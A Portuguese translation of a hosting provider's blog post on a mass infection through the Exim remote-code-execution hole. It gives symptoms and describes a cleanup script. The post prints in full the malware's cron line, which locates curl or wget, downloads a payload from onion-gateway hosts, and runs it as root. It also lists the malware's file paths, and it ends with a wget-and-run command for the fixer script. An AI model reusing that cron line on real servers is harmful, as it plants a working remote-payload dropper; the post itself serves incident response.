A primeira onda afetada pela vulnerabilidade do Exim. O script para o tratamento

A vulnerabilidade com o RCE da Exim já era sensacional e praticamente destruiu os nervos dos administradores de sistemas em todo o mundo.

Na sequência de infecções maciças (muitos de nossos clientes usam o Exim como um servidor de correio), eles rapidamente espalharam um script para automatizar a solução do problema. O script está longe de ser ideal e cheio de código abaixo do ideal, mas é uma solução de combate rápido para não executar as mesmas ações em centenas ou mesmo milhares de servidores.

Ele funciona em servidores executando Centos, RHEL, Debian, Ubuntu com um servidor de correio Exim instalado.

Como entender que o servidor está hackeado?


Verifique os processos em execução com o comando top.
Nos servidores infectados, há uma carga de 100% criada pelo processo [kthrotlds]. Também no agendador cron é adicionada uma tarefa com direitos de edição limitados.

Seção de alerta


Todos os incidentes de infecção que encontramos foram absolutamente os mesmos, a segunda e a terceira ondas podem diferir deles - para eles, pode ser necessário modificar o script. No momento da infecção, as tarefas no cron são irrevogavelmente perdidas e devem ser retornadas manualmente. O script "corta o ombro" - atualiza destemidamente o Exim para versões corrigidas, no caso do Centos 6, mesmo a partir do repositório de teste. A instância do malware está na memória; portanto, o servidor deve ser reiniciado imediatamente após a limpeza das coroas.

Importante: a vulnerabilidade permite executar o código a partir da raiz, o que não oferece nenhuma garantia de cem por cento de recuperação. Tendo acesso root ao servidor, você pode ocultar quase tudo neste servidor, para que seja quase impossível encontrá-lo. Garantido para curar completamente o servidor pode ser apenas uma reinstalação completa, mas está longe de ser sempre possível. Se não houver a possibilidade de reinstalar o servidor, e os sintomas forem os mesmos descritos, você pode tentar preencher rapidamente os buracos com esse script.

Usando um script, você faz isso por seu próprio risco: testamos o script em vários servidores; no entanto, sempre há riscos de versões de software incompatíveis ou de um conflito de configuração.
Nosso script também permite que você cure apenas uma das implementações possíveis da infecção - é possível que já agora haja outras maneiras de explorar a vulnerabilidade que ainda não foi vista.

O que o script faz?



1. Atualiza o Exim, reinstala o curl.
2. Verifica se há infecção no servidor.

O script analisa as tarefas do planejador quanto à presença de inclusões suspeitas.
Por exemplo, como:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 


2a Se houver vestígios de um script de vírus na pasta / etc, faça o seguinte

  • para cron
  • mata um processo iniciado por um script de vírus
  • mata os processos do wget sh do curl quatro vezes (executado por vírus dentro do cronograma)
  • limpa a fila de emails de todas as cartas (é difícil separar as mensagens infectadas das inofensivas, portanto, é necessário excluir a fila inteira )
  • Permite a exclusão de arquivos onde estão localizados fragmentos de um script malicioso:
     /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp 
  • exclui esses arquivos
  • remove um trabalho de inicialização automática em /etc/rc.local
  • remove uma chave do invasor das chaves ssh permitidas
  • executa cron
  • e reinicia imediatamente o servidor

2b. Se não houver vestígios de infecção, o script será encerrado.

Refinamentos


O vírus exclui todos os trabalhos do agendador cron. Portanto, após a reinicialização do servidor, eles precisam ser reconfigurados ou restaurados a partir do backup.

O curl também está infectado pelo vírus, portanto está sendo reinstalado.

É necessário reinicializar (o script o executa automaticamente após o tratamento) - caso contrário, o malware é armazenado na memória do servidor e se replica automaticamente a cada 30 segundos, mesmo após a exclusão dos arquivos infectados.

Como usar?


Tradicionalmente: antes de iniciar, verifique se você tem a cópia de backup real dos dados do servidor em mãos.

Para executar o script:


Conecte-se ao servidor via ssh como um usuário com privilégios de root. Você também pode usar o cliente Shell no painel ISPmanager - Ferramentas.

No terminal, digite o comando:

 wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh 

Espere que o script seja concluído e reinicie o servidor.

Após a reinicialização, verifique a operação do servidor e os sites / aplicativos hospedados nele, reconfigure ou restaure as tarefas no cron a partir do backup.

E finalmente


De fato, o script é uma solução temporária para restaurar o funcionamento do servidor, para prevenção garantida, a melhor solução é mudar para um novo servidor com a versão do sistema operacional que não contém mais uma vulnerabilidade.

Todas as recomendações para finalizar / processar o script são bem-vindas. Se você encontrar outro sintoma de infecção - mostre-o, por favor. A cooperação no momento das infecções em massa reduz significativamente o tempo necessário para eliminar essas infecções.

Boa sorte

UPD1: adicionado no github .
O código-fonte do script Malvari foi carregado lá, que foi gerenciado para ser extraído do servidor infectado .
UPD2: para Centos 6, a versão 4.92 veio no EPEL, agora em todas as versões do script ele é instalado nos repositórios principais. Inicialmente, o script baixou 4,92 para o Centos 6 do EPEL / testing.

Source: https://habr.com/ru/post/pt455636/


All Articles